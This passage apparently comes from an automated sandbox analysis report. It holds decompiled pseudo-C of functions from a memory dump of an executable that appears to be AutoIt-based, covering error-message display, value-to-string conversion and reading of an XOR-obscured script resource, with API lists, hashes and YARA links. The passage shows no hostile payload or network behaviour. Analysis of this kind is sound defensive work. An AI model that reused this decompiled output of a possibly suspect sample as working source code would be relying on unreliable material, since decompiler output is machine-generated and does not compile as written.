							_push( *((intOrPtr*)(_a4 + 0xc8)));
							_push(_t129);
						} else {
							_push(_t96);
							_push(_t119);
						}
						_push(L"Line %d  (File \"%s\"):\n\n");
						_push(_t100);
						E00EF31BB(_t111);
						E00EE1D10( &_v8280,  &_v24, _t139);
						_t131 = _v36;
						_t140 = _t131;
						if(_t131 != 0) {
							E00EE1DE0( &_v24, _t100, _t131, _t146);
							E00EE1DE0( &_v24, _t100, "\n", _t146);
						}
						_t101 =  &_v52;
						E00EEBEC0( &_v52, _t140);
						_t121 = _a12;
						if(_a12 >= 0) {
							E00EEC850(E00EE2390( &_v52, _t131, _t111, _t121) | 0xffffffff,  &_v52, _t121);
							E00EE1DE0( &_v52,  &_v52, L"^ ERROR", _t146);
							E00EEBFA0( &_v24, _t146,  &_v52);
							E00EE1DE0( &_v24,  &_v52, "\n", _t146);
							_t96 = _v32;
						}
						E00EE1DE0( &_v24, _t101, L"\nError: ", _t146);
						E00EEBFA0( &_v24, _t146,  &_v68);
						if( *0xf774e8 == 0) {
							MessageBoxW( *0xf77518, _v24, _v84, 0x11010);
							goto L14;
						} else {
							_t144 = _t96;
							if(_t96 == 0) {
								_t132 = _a4;
								_push(_v68);
								_push( *((intOrPtr*)(_t132 + 0xf4)));
								_push( *((intOrPtr*)(_t132 + 0xc8)));
								_push(L"%s (%d) : ==> %s:\n");
								E00EF39DE(_t96, _v68, L"\nError: ", _t132, __eflags);
								L15:
								 *((intOrPtr*)(_t132 + 0xf8)) = 1;
								if( *((char*)(_t132 + 0x118)) == 0) {
									 *0xf774f4 = 1;
								} else {
									 *0xf774f4 = _a8 + 0x7ffff000;
								}
								E00EE2480( &_v52);
								E00EE2480( &_v24);
								E00EE2480( &_v68);
								return E00EE2480( &_v84);
							}
							_push(_v52);
							_push(_t131);
							_push(_v68);
							_push(_v28);
							_push(_t96);
							_push(L"%s (%d) : ==> %s:\n%s\n%s\n");
							E00EF39DE(_t96, _v52, L"\nError: ", _t131, _t144);
							L14:
							_t132 = _a4;
							goto L15;
						}
					}
				}
				return _t51;
			}

0x00f3e724
0x00f3e72c
0x00f3e73b
0x00f3e741
0x00f3e744
0x00f3e74b
0x00f3e76c
0x00f3e76e
0x00f3e777
0x00f3e77f
0x00f3e78d
0x00f3e792
0x00f3e79a
0x00f3e7a7
0x00f3e7af
0x00f3e7b2
0x00f3e7c0
0x00f3e7c2
0x00f3e7c5
0x00f3e7cb
0x00f3e7cd
0x00f3e7d3
0x00f3e7dc
0x00f3e7dd
0x00f3e7cf
0x00f3e7cf
0x00f3e7d0
0x00f3e7d0
0x00f3e7de
0x00f3e7e3
0x00f3e7e4
0x00f3e7f5
0x00f3e7fa
0x00f3e7fd
0x00f3e7ff
0x00f3e806
0x00f3e813
0x00f3e813
0x00f3e818
0x00f3e81b
0x00f3e820
0x00f3e825
0x00f3e839
0x00f3e846
0x00f3e852
0x00f3e85f
0x00f3e864
0x00f3e864
0x00f3e86f
0x00f3e87b
0x00f3e887
0x00f3e8e2
0x00000000
0x00f3e889
0x00f3e889
0x00f3e88b
0x00f3e8ad
0x00f3e8bc
0x00f3e8bd
0x00f3e8be
0x00f3e8bf
0x00f3e8c4
0x00f3e8eb
0x00f3e8f7
0x00f3e8fd
0x00f3e910
0x00f3e8ff
0x00f3e908
0x00f3e908
0x00f3e918
0x00f3e920
0x00f3e928
0x00000000
0x00f3e930
0x00f3e896
0x00f3e897
0x00f3e898
0x00f3e899
0x00f3e89a
0x00f3e89b
0x00f3e8a0
0x00f3e8e8
0x00f3e8e8
0x00000000
0x00f3e8e8
0x00f3e887
0x00f3e74b
0x00f3e93b

APIs

LoadStringW.USER32(?,00000066,?,00000FFF), ref: 00F3E76C

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

LoadStringW.USER32(?,?,?,00000FFF), ref: 00F3E78D
__swprintf.LIBCMT ref: 00F3E7E4
_wprintf.LIBCMT ref: 00F3E8A0
_wprintf.LIBCMT ref: 00F3E8C4

Strings

%s (%d) : ==> %s:%s%s, xrefs: 00F3E89B
^ ERROR, xrefs: 00F3E83E
%s (%d) : ==> %s:, xrefs: 00F3E8BF
Line %d (File "%s"):, xrefs: 00F3E7DE
Error: , xrefs: 00F3E867

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString_wprintf$__swprintf_memmove_wcslen
String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2295938435-2354261254
Opcode ID: 89a54b52f517ebd8297f0929321ba1258cf6c2810e61810c9f3ea42d11fec190
Instruction ID: 9572bb5ea39b52c3da052fa062dccca2cddb719a66e573577b8b0e46f372bd09
Opcode Fuzzy Hash: 89a54b52f517ebd8297f0929321ba1258cf6c2810e61810c9f3ea42d11fec190
Instruction Fuzzy Hash: B6517D71E1025DABDB14EFA0CC81EEF73B8AF44760F144169F50477282DA70AE45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F33126, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F33126(intOrPtr* _a4) {
				char _v20;
				char _v152;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr* _t38;

				_t38 = _a4;
				_t30 =  *((intOrPtr*)(_t38 + 8));
				if(_t30 == 4) {
					return _t30;
				} else {
					_t31 = _t30 - 1;
					if(_t31 > 0xa) {
						L17:
						_v152 = 0;
						goto L18;
					} else {
						switch( *((intOrPtr*)(_t31 * 4 +  &M00F332FA))) {
							case 0:
								E00EF2F7C( *_t38,  &_v152, "true");
								_t50 = _t50 + 0xc;
								goto L18;
							case 1:
								__eax =  *(__ebx + 4);
								__ecx =  *__ebx;
								_t7 =  &_v152; // -148
								__edx = _t7;
								__eax = E00EF3029( *__ebx,  *(__ebx + 4), _t7, "true");
								goto L18;
							case 2:
								__esp = __esp - 8;
								 *__esp =  *__ebx;
								_t8 =  &_v152; // -148
								__edx = _t8;
								_push(L"%.15g");
								_push(__edx);
								__eax = E00EF31BB(__edx);
								__esp = __esp + 0x10;
								goto L18;
							case 3:
								goto L17;
							case 4:
								__eax =  *__ebx;
								_t9 =  &_v152; // -148
								__ecx = _t9;
								__eax = E00EF31BB(__edx, _t9, L"0x%p",  *__ebx);
								goto L18;
							case 5:
								__eflags =  *__ebx;
								if( *__ebx == 0) {
									_t11 =  &_v152; // -148
									_t11 = E00EF1487(_t11, L"False");
								} else {
									_t10 =  &_v152; // -148
									__edx = _t10;
									__eax = E00EF1487(_t10, L"True");
								}
								goto L18;
							case 6:
								__edx =  *__ebx;
								_t12 =  &_v20; // -16
								__ecx = _t12;
								E00F2B36D( *__ebx, _t12) =  *__eax;
								_t13 =  &_v152; // -148
								__ecx = _t13;
								__eax = E00EF1487(_t13, __eax);
								_t14 =  &_v20; // -16
								__ecx = _t14;
								__eax = E00EE2480(_t14);
								L18:
								E00EE3FB0(_t38);
								_push(0x10);
								_t33 = E00EF14F7(_t41, _t38, _t53);
								_t54 = _t33;
								if(_t33 == 0) {
									__eflags = 0;
									 *((intOrPtr*)(_t38 + 0xc)) = 0;
									return 0;
								}
								_t35 = E00EE1D10( &_v152, _t33, _t54);
								 *((intOrPtr*)(_t38 + 0xc)) = _t35;
								return _t35;
								goto L22;
							case 7:
								__edx =  *__ebx;
								__esi =  *( *__ebx);
								__ecx = 0;
								__eax = 6 + __esi * 4;
								2 = __eax * 2 >> 0x20;
								__eax = __eax * 2;
								0 | __eflags > 0x00000000 =  ~(__eflags > 0);
								__ecx =  ~(__eflags > 0) | __eax;
								_push( ~(__eflags > 0) | __eax);
								__edi = E00EF14F7(__edi, __esi, __eflags);
								__eax =  *__ebx;
								__esp = __esp + 4;
								__eflags =  *__eax;
								if( *__eax == 0) {
									__eax = 0;
									__eflags = 0;
									 *__edi = __ax;
								} else {
									__ecx =  *__eax;
									__edx =  *(__eax + 4);
									__eax = E00F12DDE( *(__eax + 4), __edi,  *__eax);
								}
								__esi = __ebx;
								__eax = E00EE3FB0(__esi);
								_push(0x10);
								__eax = E00EF14F7(__edi, __esi, __eflags);
								__esp = __esp + 4;
								__eflags = __eax;
								if(__eflags == 0) {
									__eax = 0;
									__eflags = 0;
									_push(__edi);
									 *(__ebx + 0xc) = 0;
									__eax = E00EF10FC();
									__esp = __esp + 4;
									_pop(__edi);
									_pop(__esi);
									return __eax;
								} else {
									__esi = __eax;
									__eax = E00EE1D10(__edi, __eax, __eflags);
									_push(__edi);
									 *(__ebx + 0xc) = __eax;
									__eax = E00EF10FC();
									__esp = __esp + 4;
									_pop(__edi);
									_pop(__esi);
									return __eax;
								}
								goto L22;
						}
					}
				}
				L22:
			}

0x00f33130
0x00f33133
0x00f33139
0x00f332f5
0x00f3313f
0x00f3313f
0x00f33145
0x00f332b3
0x00f332b5
0x00000000
0x00f3314b
0x00f3314b
0x00000000
0x00f3315e
0x00f33163
0x00000000
0x00000000
0x00f3316b
0x00f3316e
0x00f33172
0x00f33172
0x00f3317b
0x00000000
0x00000000
0x00f3318a
0x00f3318d
0x00f33190
0x00f33190
0x00f33196
0x00f3319b
0x00f3319c
0x00f331a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00f331a9
0x00f331ac
0x00f331ac
0x00f331b8
0x00000000
0x00000000
0x00f331c5
0x00f331c8
0x00f331e3
0x00f331ef
0x00f331ca
0x00f331ca
0x00f331ca
0x00f331d6
0x00f331db
0x00000000
0x00000000
0x00f331fc
0x00f331fe
0x00f331fe
0x00f33208
0x00f3320b
0x00f3320b
0x00f33212
0x00f3321a
0x00f3321a
0x00f3321d
0x00f332bc
0x00f332be
0x00f332c3
0x00f332c5
0x00f332cd
0x00f332cf
0x00f332ea
0x00f332ed
0x00000000
0x00f332f0
0x00f332d9
0x00f332e0
0x00f332e7
0x00000000
0x00000000
0x00f33227
0x00f33229
0x00f3322b
0x00f3322d
0x00f33239
0x00f33239
0x00f3323e
0x00f33240
0x00f33242
0x00f33248
0x00f3324a
0x00f3324c
0x00f3324f
0x00f33252
0x00f33266
0x00f33266
0x00f33268
0x00f33254
0x00f33254
0x00f33256
0x00f3325c
0x00f33261
0x00f3326b
0x00f3326d
0x00f33272
0x00f33274
0x00f33279
0x00f3327c
0x00f3327e
0x00f3329c
0x00f3329c
0x00f3329e
0x00f3329f
0x00f332a2
0x00f332a7
0x00f332aa
0x00f332ab
0x00f332b0
0x00f33280
0x00f33280
0x00f33282
0x00f33287
0x00f33288
0x00f3328b
0x00f33290
0x00f33293
0x00f33294
0x00f33299
0x00f33299
0x00000000
0x00000000
0x00f3314b
0x00f33145
0x00000000

APIs

__itow.LIBCMT ref: 00F3315E
__i64tow.LIBCMT ref: 00F3317B
__swprintf.LIBCMT ref: 00F3319C
__swprintf.LIBCMT ref: 00F331B8
_wcscpy.LIBCMT ref: 00F331D6
_wcscpy.LIBCMT ref: 00F33212

Strings

%.15g, xrefs: 00F33196
True, xrefs: 00F331D0
0x%p, xrefs: 00F331B2
False, xrefs: 00F331E9

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __swprintf_wcscpy$__i64tow__itow
String ID: %.15g$0x%p$False$True
API String ID: 3038501623-2263619337
Opcode ID: 2fdea3d566045ad0f7d7d17961ecb67a6784b5a8f96f39cb89e9aee23c168b20
Instruction ID: 6b276e5f8ec308dd79c0c3797772348b31782d36f2a3460f5ba9328ab70f87ad
Opcode Fuzzy Hash: 2fdea3d566045ad0f7d7d17961ecb67a6784b5a8f96f39cb89e9aee23c168b20
Instruction Fuzzy Hash: C841FB73D001189BD710EB74DC42F7773A8EF45320F0445A9EE09DB246EA31DA58D792

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E525, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F3E525(void* __fp0, struct HINSTANCE__* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				WCHAR* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v48;
				char _v64;
				WCHAR* _v80;
				short _v8276;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t48;
				WCHAR* _t57;
				intOrPtr _t92;
				WCHAR* _t110;
				intOrPtr _t111;
				intOrPtr _t120;
				intOrPtr _t122;
				struct HINSTANCE__* _t123;
				void* _t136;

				_t136 = __fp0;
				_t48 = E00F02160(0x2054);
				if( *0xf774e2 == 0) {
					_t48 = _a4;
					_t129 =  *((intOrPtr*)(_t48 + 0xf8)) - 1;
					if( *((intOrPtr*)(_t48 + 0xf8)) != 1) {
						LoadStringW( *0xf77520, 0x66,  &_v8276, 0xfff);
						_t110 =  &_v8276;
						E00EE1D10(_t110,  &_v80, _t129);
						_t95 =  *0xf77520;
						LoadStringW( *0xf77520, 0x72, _t110, 0xfff);
						E00EE1D10(_t110,  &_v64, _t129);
						_t105 = _a4;
						_t120 =  *((intOrPtr*)(_a4 + 0xf4));
						_v8 = E00F148C5(_t120);
						_t111 = E00F14891(_t120);
						_v28 = _t111;
						_t92 = E00F148EF(E00F14916(_t120));
						_v32 = _t92;
						_t57 =  &_v8276;
						_t130 = _t92;
						if(_t92 == 0) {
							_t95 = _a4;
							_t105 =  *((intOrPtr*)(_t95 + 0xc8));
							_push( *((intOrPtr*)(_t95 + 0xc8)));
							_push(_t120);
						} else {
							_push(_t92);
							_push(_t111);
						}
						_push(L"Line %d  (File \"%s\"):\n\n");
						_push(_t57);
						E00EF31BB(_t105);
						E00EE1D10( &_v8276,  &_v24, _t130);
						_t122 = _v8;
						_t131 = _t122;
						if(_t122 != 0) {
							E00EE1DE0( &_v24, _t95, _t122, _t136);
							E00EE1DE0( &_v24, _t95, "\n", _t136);
						}
						_t96 =  &_v48;
						E00EEBEC0( &_v48, _t131);
						_t113 = _a8;
						if(_a8 != 0) {
							E00EE2390( &_v48, L"^ ERROR ", _t105, _t113);
							E00EE1DE0( &_v48,  &_v48, _t113, _t136);
							_t96 =  &_v48;
							E00EEBFA0( &_v24, _t136,  &_v48);
							E00EE1DE0( &_v24,  &_v48, "\n", _t136);
							_t92 = _v32;
						}
						E00EE1DE0( &_v24, _t96, L"\nError: ", _t136);
						E00EEBFA0( &_v24, _t136,  &_v64);
						if( *0xf774e8 == 0) {
							MessageBoxW( *0xf77518, _v24, _v80, 0x11010);
							goto L14;
						} else {
							_t134 = _t92;
							if(_t92 == 0) {
								_t123 = _a4;
								_push(_v64);
								_push( *((intOrPtr*)(_t123 + 0xf4)));
								_push( *((intOrPtr*)(_t123 + 0xc8)));
								_push(L"%s (%d) : ==> %s:\n");
								E00EF39DE(_t92,  *((intOrPtr*)(_t123 + 0xc8)), L"\nError: ", _t123, __eflags);
								L15:
								asm("sbb eax, eax");
								 *((intOrPtr*)(_t123 + 0xf8)) = 1;
								 *0xf774f4 = ( ~( *(_t123 + 0x118) & 0x000000ff) & 0x7ffff071) + 1;
								E00EE2480( &_v48);
								E00EE2480( &_v24);
								E00EE2480( &_v64);
								return E00EE2480( &_v80);
							}
							_push(_v48);
							_push(_t122);
							_push(_v64);
							_push(_v28);
							_push(_t92);
							_push(L"%s (%d) : ==> %s:\n%s\n%s\n");
							E00EF39DE(_t92, _v28, L"\nError: ", _t122, _t134);
							L14:
							_t123 = _a4;
							goto L15;
						}
					}
				}
				return _t48;
			}

0x00f3e525
0x00f3e52d
0x00f3e53c
0x00f3e542
0x00f3e545
0x00f3e54c
0x00f3e56d
0x00f3e56f
0x00f3e578
0x00f3e57d
0x00f3e58c
0x00f3e591
0x00f3e596
0x00f3e599
0x00f3e5a6
0x00f3e5ae
0x00f3e5b1
0x00f3e5bf
0x00f3e5c1
0x00f3e5c4
0x00f3e5ca
0x00f3e5cc
0x00f3e5d2
0x00f3e5d5
0x00f3e5db
0x00f3e5dc
0x00f3e5ce
0x00f3e5ce
0x00f3e5cf
0x00f3e5cf
0x00f3e5dd
0x00f3e5e2
0x00f3e5e3
0x00f3e5f4
0x00f3e5f9
0x00f3e5fc
0x00f3e5fe
0x00f3e605
0x00f3e612
0x00f3e612
0x00f3e617
0x00f3e61a
0x00f3e61f
0x00f3e624
0x00f3e62e
0x00f3e636
0x00f3e63b
0x00f3e642
0x00f3e64f
0x00f3e654
0x00f3e654
0x00f3e65f
0x00f3e66b
0x00f3e677
0x00f3e6d2
0x00000000
0x00f3e679
0x00f3e679
0x00f3e67b
0x00f3e69d
0x00f3e6ac
0x00f3e6ad
0x00f3e6ae
0x00f3e6af
0x00f3e6b4
0x00f3e6db
0x00f3e6e4
0x00f3e6ef
0x00f3e6f9
0x00f3e6fe
0x00f3e706
0x00f3e70e
0x00000000
0x00f3e716
0x00f3e686
0x00f3e687
0x00f3e688
0x00f3e689
0x00f3e68a
0x00f3e68b
0x00f3e690
0x00f3e6d8
0x00f3e6d8
0x00000000
0x00f3e6d8
0x00f3e677
0x00f3e54c
0x00f3e721

APIs

LoadStringW.USER32(?,00000066,?,00000FFF), ref: 00F3E56D

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

LoadStringW.USER32(?,00000072,?,00000FFF), ref: 00F3E58C
__swprintf.LIBCMT ref: 00F3E5E3
_wprintf.LIBCMT ref: 00F3E690
_wprintf.LIBCMT ref: 00F3E6B4

Strings

%s (%d) : ==> %s:%s%s, xrefs: 00F3E68B
%s (%d) : ==> %s:, xrefs: 00F3E6AF
Line %d (File "%s"):, xrefs: 00F3E5DD
Error: , xrefs: 00F3E657
^ ERROR , xrefs: 00F3E626

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString_wprintf$__swprintf_memmove_wcslen
String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2295938435-8599901
Opcode ID: 33df3a910c2847e353dee879a5ef016fdd5e6bf2389f98e1a9b23eb7110899d7
Instruction ID: f54dc75a2afc64380ccc3322cb09e4d3c5cad921dab8d42bcfe4fc6eefeaed31
Opcode Fuzzy Hash: 33df3a910c2847e353dee879a5ef016fdd5e6bf2389f98e1a9b23eb7110899d7
Instruction Fuzzy Hash: 1A519272E1020D9BDB14EFA0CC82DEF73B8AF44350F148069F91577281EA70AE45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3268F, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00F3268F(void* __eflags, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v548;
				char _v1076;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t37;
				void* _t52;
				void* _t54;
				signed int _t59;
				void* _t63;
				void* _t64;
				intOrPtr* _t89;
				void* _t90;
				void* _t91;
				void* _t93;
				void* _t96;
				void* _t97;

				_t99 = __eflags;
				_t89 = _a4;
				_v8 = 0;
				while(1) {
					E00EF4C24( &_v16, 1, 4,  *_t89);
					E00F2AF66( &_v16, _t99,  &_v16, 4, 0x18ee);
					_v12 = 0;
					_t37 = E00EF4C50( &_v16, "FILE");
					_t93 = _t91 + 0x18;
					_t100 = _t37;
					if(_t37 != 0) {
						break;
					}
					_v8 = _v8 + 1;
					E00EF4C24( &_a4, 4, 1,  *_t89);
					_t83 = _a4 ^ 0x0000adbc;
					_t63 = (_a4 ^ 0x0000adbc) + (_a4 ^ 0x0000adbc);
					E00EF4C24( &_v548, 1, _t63,  *_t89);
					E00F2AF66( &_v548, _t100,  &_v548, _t63, _t83 + 0xb33f);
					 *((short*)(_t90 + _t63 - 0x220)) = 0;
					E00EF1487( &_v1076,  &_v548);
					E00EF4C24( &_a4, 4, 1,  *_t89);
					_t86 = _a4 ^ 0x0000f820;
					_t64 = (_a4 ^ 0x0000f820) + (_a4 ^ 0x0000f820);
					E00EF4C24( &_v548, 1, _t64,  *_t89);
					E00F2AF66( &_v548, _t100,  &_v548, _t64, _t86 + 0xf479);
					 *((short*)(_t90 + _t64 - 0x220)) = 0;
					E00EF1487(_a12,  &_v548);
					_t88 = _a8;
					_t79 =  &_v1076;
					_t52 = E00EF305C( &_v1076, _a8);
					_t96 = _t93 + 0x58;
					if(_t52 == 0) {
						L6:
						__eflags = 0;
						return 0;
					} else {
						_t54 = E00EF305C(_t88, "*");
						_t97 = _t96 + 8;
						if(_t54 != 0) {
							L5:
							_push(1);
							_push(1);
							_push( *_t89);
							E00EF4FF1(_t64, _t79, _t88, _t89, _t99);
							E00EF4C24( &_v20, 4, 1,  *_t89);
							_t59 = _v20 ^ 0x000087bc;
							_v20 = _t59;
							_push(1);
							_push(_t59 + 0x18);
							_push( *_t89);
							E00EF4FF1(_t64,  &_v20, _t88, _t89, _t99);
							_t91 = _t97 + 0x28;
							continue;
						} else {
							_t99 = _v8 - _t54;
							if(_v8 == _t54) {
								goto L6;
							} else {
								goto L5;
							}
						}
					}
					L8:
				}
				return 6;
				goto L8;
			}

0x00f3268f
0x00f3269a
0x00f3269e
0x00f326a5
0x00f326b4
0x00f326c7
0x00f326d5
0x00f326d9
0x00f326de
0x00f326e1
0x00f326e3
0x00000000
0x00000000
0x00f326eb
0x00f326f6
0x00f32701
0x00f32707
0x00f32714
0x00f3272b
0x00f32740
0x00f32748
0x00f32758
0x00f32763
0x00f32769
0x00f32776
0x00f3278d
0x00f3279f
0x00f327a7
0x00f327ac
0x00f327af
0x00f327b7
0x00f327bc
0x00f327c1
0x00f3281a
0x00f3281a
0x00f32822
0x00f327c3
0x00f327c9
0x00f327ce
0x00f327d3
0x00f327da
0x00f327dc
0x00f327de
0x00f327e0
0x00f327e1
0x00f327f4
0x00f327fc
0x00f32801
0x00f32807
0x00f32809
0x00f3280c
0x00f3280d
0x00f32812
0x00000000
0x00f327d5
0x00f327d5
0x00f327d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00f327d8
0x00f327d3
0x00000000
0x00f327c1
0x00f32830
0x00000000

APIs

__fread_nolock.LIBCMT ref: 00F326B4
__fread_nolock.LIBCMT ref: 00F326F6
__fread_nolock.LIBCMT ref: 00F32714
_wcscpy.LIBCMT ref: 00F32748
__fread_nolock.LIBCMT ref: 00F32758
__fread_nolock.LIBCMT ref: 00F32776
_wcscpy.LIBCMT ref: 00F327A7
_fseek.LIBCMT ref: 00F327E1
__fread_nolock.LIBCMT ref: 00F327F4
_fseek.LIBCMT ref: 00F3280D

Strings

FILE, xrefs: 00F326CF

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock$_fseek_wcscpy
String ID: FILE
API String ID: 3888824918-3121273764
Opcode ID: 337c4a2b83500dbc4292eecf095a6740a11d5be1639a894d2374fd35c54fcb19
Instruction ID: 7e2ea311d592895d2103a4c8a7a9af1e2770df80379a6677c0fa84b3dc2cc1fc
Opcode Fuzzy Hash: 337c4a2b83500dbc4292eecf095a6740a11d5be1639a894d2374fd35c54fcb19
Instruction Fuzzy Hash: 3141AAB2910208B7EB20DFA4DC81FFBB3BDAF98710F045559FA04A7181E6759744CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F33F89, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93
windowCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F33F89(void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				WCHAR* _v24;
				WCHAR* _v40;
				short _v8232;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t49;
				void* _t56;
				void* _t73;
				void* _t75;

				_t75 = __fp0;
				_t73 = __eflags;
				E00F02160(0x2028);
				_t49 = _a4;
				_t50 =  *(_t49 + 0x48);
				LoadStringW(GetModuleHandleW(0),  *(_t49 + 0x48),  &_v8232, 0xfff);
				_t67 =  &_v40;
				E00EE1D10( &_v8232,  &_v40, _t73);
				_t74 =  *((char*)(_t49 + 3));
				if( *((char*)(_t49 + 3)) == 0) {
					_t29 = _a8;
					__eflags = _t29;
					if(_t29 != 0) {
						_push(_t29);
						E00EF31BB(_a12,  &_v8232, L"Line %d  (File \"%s\"):\n\n", _a12);
					} else {
						_t50 =  &_v8232;
						E00EF31BB(_t56,  &_v8232, L"Line %d:\n\n", _a12);
					}
					_t68 =  &_v24;
					E00EE1D10( &_v8232,  &_v24, __eflags);
					E00EE1DE0( &_v24, _t50, _a20, _t75);
					E00EE1DE0(_t68, _t50, L"\n\nError: ", _t75);
					E00EE1DE0(_t68, _t50, _a16, _t75);
					E00EE1DE0(_t68, _t50, L".\n\n", _t75);
					MessageBoxW(0, _v24, _v40, 0x11010);
					E00EE2480(_t68);
					return E00EE2480( &_v40);
				} else {
					_push(0xf64e64);
					_push(_a20);
					_push(_a16);
					_push(_a12);
					_push(_a8);
					_push(L"%s (%d) : ==> %s.: \n%s \n%s\n");
					E00EF39DE(_t49, _a8,  &_v8232,  &_v40, _t74);
					return E00EE2480(_t67);
				}
			}

0x00f33f89
0x00f33f89
0x00f33f91
0x00f33f97
0x00f33f9a
0x00f33fb5
0x00f33fc1
0x00f33fc4
0x00f33fc9
0x00f33fcd
0x00f34001
0x00f34004
0x00f34006
0x00f34025
0x00f34033
0x00f34008
0x00f3400c
0x00f34018
0x00f3401d
0x00f34041
0x00f34044
0x00f3404e
0x00f3405a
0x00f34064
0x00f34070
0x00f34084
0x00f3408c
0x00f3409f
0x00f33fcf
0x00f33fd8
0x00f33fdd
0x00f33fe1
0x00f33fe2
0x00f33fe3
0x00f33fe4
0x00f33fe9
0x00f33ffe
0x00f33ffe

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,?,?,00F0818B,?,?,?,#include depth exceeded. Make sure there are no recursive includes,?), ref: 00F33FAE
LoadStringW.USER32(00000000), ref: 00F33FB5

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

_wprintf.LIBCMT ref: 00F33FE9
__swprintf.LIBCMT ref: 00F34018
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F34084

Strings

Line %d (File "%s"):, xrefs: 00F3402D
., xrefs: 00F34069
Error: , xrefs: 00F34053
Line %d:, xrefs: 00F34012
%s (%d) : ==> %s.: %s %s, xrefs: 00F33FE4

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
